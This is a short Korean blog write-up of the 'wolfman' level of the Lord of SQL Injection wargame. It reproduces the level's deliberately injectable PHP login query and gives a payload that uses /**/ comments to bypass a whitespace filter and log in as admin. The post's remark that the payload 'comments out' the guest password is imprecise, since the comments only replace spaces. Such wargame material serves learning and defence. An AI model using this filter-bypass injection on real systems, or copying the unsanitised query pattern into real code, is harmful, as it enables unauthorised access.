[LOS] wolfman

덩덩..·2025년 5월 23일

Lord of SQL Injection

목록 보기
5/6
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

제시된 코드


if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

prob, _, . ,(, ), -> "No Hack ~~"
공백 입력하면 -> "No whitespace ~
~"

$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";

쿼리문에서 pw를 그대로 쿼리에 삽입 -> sqli 가능

if($result['id'] == 'admin') solve("wolfman"); 

id가 admin이면 solve


이 문제에서는 공백을 우회해야 함

/**/ 주석
: 공백처럼 동작 가능

'/**/or/**/id='admin

=> guest의 pw를 주석처리하고 id='admin'이 나오도록

0개의 댓글